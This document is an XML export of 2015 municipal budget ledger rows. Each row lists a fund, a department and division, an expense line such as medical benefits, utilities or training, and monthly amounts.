<row _id="15535"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2093.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2093.0</total></row>
<row _id="15536"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>504.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>504.0</total></row>
<row _id="15537"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="15538"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>523001.0</object><object_description>FLEET MAINT RECON</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15539"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>6706.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6706.0</total></row>
<row _id="15540"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>555200.0</object><object_description>REIMBURSE ENGINEERING OFFICE</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3242.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3242.0</total></row>
<row _id="15541"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>7099.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7099.0</total></row>
<row _id="15542"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4419.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4419.0</total></row>
<row _id="15543"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>28250.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>28250.0</total></row>
<row _id="15544"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>10618.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10618.0</total></row>
<row _id="15545"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>579290.0</object><object_description>UTILITIES BILLING SERVICES</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>131536.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>131536.0</total></row>
<row _id="15546"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>404580.0</object><object_description>BAYSAVER FEES</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15547"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>721.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>721.0</total></row>
<row _id="15548"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>77399.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>77399.0</total></row>
<row _id="15549"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>116976.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>116976.0</total></row>
<row _id="15550"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3625.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3625.0</total></row>
<row _id="15551"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522510.0</object><object_description>COMMUNITY OUTREACH</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>19690.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>19690.0</total></row>
<row _id="15552"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>6026.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6026.0</total></row>
<row _id="15553"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>323540.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>323540.0</total></row>
<row _id="15554"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>40000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>40000.0</total></row>
<row _id="15555"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object xsi:nil="true" /><object_description>MEDICAL-POLICE RETIREE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>125000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>125000.0</total></row>
<row _id="15556"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>212</division_id><division_name>R &amp; ES(CITY CLERK)-ELECTIONS</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>300.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>300.0</total></row>
<row _id="15557"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>11860.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11860.0</total></row>
<row _id="15558"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>288807.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>288807.0</total></row>
<row _id="15559"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1150.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1150.0</total></row>
<row _id="15560"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15561"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>560010.0</object><object_description>SCADA O &amp; M</object_description><category_code>844.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>24266.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>24266.0</total></row>
<row _id="15562"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>850.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>10464.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10464.0</total></row>
<row _id="15563"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>405221.0</object><object_description>PYMT-MAIN ST-LIGHTS &amp; SIDEWLK</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>50500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>50500.0</total></row>
<row _id="15564"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>53819.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>53819.0</total></row>
<row _id="15565"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>5560.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5560.0</total></row>
<row _id="15566"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3210.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3210.0</total></row>
<row _id="15567"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>10000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="15568"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>437.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>437.0</total></row>
<row _id="15569"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1100.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1100.0</total></row>
<row _id="15570"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544230.0</object><object_description>COMMUNITY SERVICES SU</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>34451.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>34451.0</total></row>
<row _id="15571"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="15572"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>305.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>305.0</total></row>
<row _id="15573"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>212.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>212.0</total></row>
<row _id="15574"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>520.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>520.0</total></row>
<row _id="15575"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1646.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1646.0</total></row>
<row _id="15576"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>700.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>700.0</total></row>
<row _id="15577"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>434.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>434.0</total></row>
<row _id="15578"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>30496.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>30496.0</total></row>
<row _id="15579"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>213978.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>213978.0</total></row>
<row _id="15580"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4206.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4206.0</total></row>
<row _id="15581"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>100.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>100.0</total></row>
<row _id="15582"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>120000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>120000.0</total></row>
